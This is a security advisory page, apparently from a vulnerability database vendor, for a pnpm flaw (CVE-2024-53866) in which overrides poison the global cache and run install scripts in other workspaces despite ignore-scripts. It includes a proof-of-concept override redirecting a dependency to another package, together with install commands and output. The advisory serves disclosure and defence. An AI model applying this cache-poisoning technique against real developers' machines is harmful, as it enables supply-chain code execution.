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📦 npm

GHSA-vm32-9rqf-rh3r

pnpm no-script global cache poisoning via overrides / `ignore-scripts` evasion

Also known asCVE-2024-53866
Published
Dec 10, 2024
Updated
Feb 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk57th percentile-0.41%
0.00%0.62%1.24%1.86%0.2%0.9%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
📦pnpm

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

pnpm seems to mishandle overrides and global cache:

  1. Overrides from one workspace leak into npm metadata saved in global cache
  2. npm metadata from global cache affects other workspaces
  3. installs by default don't revalidate the data (including on first lockfile generation)

This can make workspace A (even running with ignore-scripts=true) posion global cache and execute scripts in workspace B

Users generally expect ignore-scripts to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).

Here, that expectation is broken

Details

See PoC.

In it, overrides from a single run of A get leaked into e.g. ~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json and persistently affect all other projects using the cache

PoC

Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a console.log

  1. Remove store and cache On mac: rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store This step is not required in general, but we'll be using a popular package for PoC that's likely cached
  2. Create A/package.json:
    {
      "name": "A",
      "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } },
      "dependencies": { "rimraf": "6.0.1" }
    }
    
    Install it with pnpm i --ignore-scripts (the flag is not required, but the point of the demo is to show that it doesn't help)
  3. Create B/package.json:
    {
      "name": "B",
      "dependencies": { "rimraf": "6.0.1" }
    }
    
    Install it with pnpm i

Result:

Packages: +3
+++
Progress: resolved 3, reused 3, downloaded 0, added 3, done
node_modules/.pnpm/[email protected]/node_modules/ponyhooves: Running postinstall script, done in 51ms

dependencies:
+ rimraf 6.0.1

Done in 1.4s

Also, that code got leaked into another project and it's lockfile now!

Impact

Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs

As a work-around, use separate cache and store dirs in each workspace

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmpnpmall versions9.15.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update pnpm to 9.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vm32-9rqf-rh3r is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-vm32-9rqf-rh3r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-vm32-9rqf-rh3r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary pnpm seems to mishandle overrides and global cache: 1. Overrides from one workspace leak into npm metadata saved in global cache 2. npm metadata from global cache affects other workspaces 3. installs by default don't revalidate the data (including on first lockfile generation) This can make workspace A (even running with `ignore-scripts=true`) posion global cache and execute scripts in workspace B Users generally expect `ignore-scripts` to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it). Here, that
O3 Security · Impact-Aware SCA

Is GHSA-vm32-9rqf-rh3r in your dependencies?

O3 detects GHSA-vm32-9rqf-rh3r across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.